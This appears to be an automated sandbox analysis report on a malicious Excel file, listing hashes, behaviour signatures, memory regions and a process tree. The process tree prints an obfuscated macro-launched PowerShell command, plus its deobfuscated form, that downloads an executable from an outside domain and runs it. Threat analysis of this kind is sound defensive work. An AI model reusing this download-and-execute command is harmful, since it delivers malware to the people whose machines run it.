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Analysis

  • max time kernel
    47s
  • max time network
    35s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/08/2024, 02:50

General

  • Target

    3e2675ff31c9b5e178654b37afbb574227fcee4faa2a386044f40ddaadb2478b.xls

  • Size

    71KB

  • MD5

    a8b328978b0cd22a8fe928d4f9d5156e

  • SHA1

    a800e64f46a26fdb5670cb79c326d4ec2de90614

  • SHA256

    3e2675ff31c9b5e178654b37afbb574227fcee4faa2a386044f40ddaadb2478b

  • SHA512

    7aa3fbcb0bf49fe7df79940303bafb7241df06eb09c8825d3c0ab5ac5acacb29795030cf2cadebc764ed630a3c69d4f3e404871b2e4e45f7ca532c9827fd12af

  • SSDEEP

    1536:vkxEtjPOtioVjDGUU1qfDlaGGx+cL+LIfdAMvZif71rzVm1jrKSFKp:vkxEtjPOtioVjDGUU1qfDlaGGx+cL+LM

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cedacriall.faith/1aqalpiniahelfuimoksa.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\3e2675ff31c9b5e178654b37afbb574227fcee4faa2a386044f40ddaadb2478b.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3188
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2944
      • C:\Windows\SYSTEM32\cMd.exe
        cMd.exe /c "p^Ow^ERS^hel^l^.e^x^e^ -nO^l -No^Ni^Nt^ -W^InDO^ws^ 1 -NoprO^FIle^ -eX^Ec^u B^Ypa^S^s ^(^ne^w-^ob^ject s^ys^t^em.n^e^t^.we^b^cl^i^e^n^t)^.do^wnloa^d^f^il^e('https://cedacriall.faith/1aqalpiniahelfuimoksa.exe','%appdata%.exe')^;^star^t-pr^oc^es^s^ '%appdata%.exe'"
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:2124
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          pOwERShell.exe -nOl -NoNiNt -WInDOws 1 -NoprOFIle -eXEcu BYpaSs (new-object system.net.webclient).downloadfile('https://cedacriall.faith/1aqalpiniahelfuimoksa.exe','C:\Users\Admin\AppData\Roaming.exe');start-process 'C:\Users\Admin\AppData\Roaming.exe'
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2752
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
      1⤵
        PID:3480

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_puthtgfd.unj.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

        Filesize

        1KB

        MD5

        8c0cef91588b6ed43c7848c5aff1d01a

        SHA1

        766aa0749a39d5b0d2a3a972d87834fb04df969f

        SHA256

        aefcb4eaef0a06711744c04c66844b3afd04c8549ea8fe1ae35252073a4ec1a9

        SHA512

        e9e69471c2fdcc402551a514d61ec2689d71ef7689d62476632fba9008eb12f5e61d50490e68981f5069e547a8998d0c16657f13e27dc74b6255a517060ef4c7

      • memory/2752-306-0x000002C7F65F0000-0x000002C7F6612000-memory.dmp

        Filesize

        136KB

      • memory/3188-18-0x00007FFF93530000-0x00007FFF93540000-memory.dmp

        Filesize

        64KB

      • memory/3188-21-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp

        Filesize

        2.0MB

      • memory/3188-5-0x00007FFF95E90000-0x00007FFF95EA0000-memory.dmp

        Filesize

        64KB

      • memory/3188-6-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp

        Filesize

        2.0MB

      • memory/3188-10-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp

        Filesize

        2.0MB

      • memory/3188-11-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp

        Filesize

        2.0MB

      • memory/3188-9-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp

        Filesize

        2.0MB

      • memory/3188-15-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp

        Filesize

        2.0MB

      • memory/3188-17-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp

        Filesize

        2.0MB

      • memory/3188-0-0x00007FFF95E90000-0x00007FFF95EA0000-memory.dmp

        Filesize

        64KB

      • memory/3188-19-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp

        Filesize

        2.0MB

      • memory/3188-4-0x00007FFF95E90000-0x00007FFF95EA0000-memory.dmp

        Filesize

        64KB

      • memory/3188-20-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp

        Filesize

        2.0MB

      • memory/3188-16-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp

        Filesize

        2.0MB

      • memory/3188-14-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp

        Filesize

        2.0MB

      • memory/3188-13-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp

        Filesize

        2.0MB

      • memory/3188-12-0x00007FFF93530000-0x00007FFF93540000-memory.dmp

        Filesize

        64KB

      • memory/3188-7-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp

        Filesize

        2.0MB

      • memory/3188-8-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp

        Filesize

        2.0MB

      • memory/3188-3-0x00007FFFD5EAD000-0x00007FFFD5EAE000-memory.dmp

        Filesize

        4KB

      • memory/3188-2-0x00007FFF95E90000-0x00007FFF95EA0000-memory.dmp

        Filesize

        64KB

      • memory/3188-1-0x00007FFF95E90000-0x00007FFF95EA0000-memory.dmp

        Filesize

        64KB

      • memory/3188-318-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp

        Filesize

        2.0MB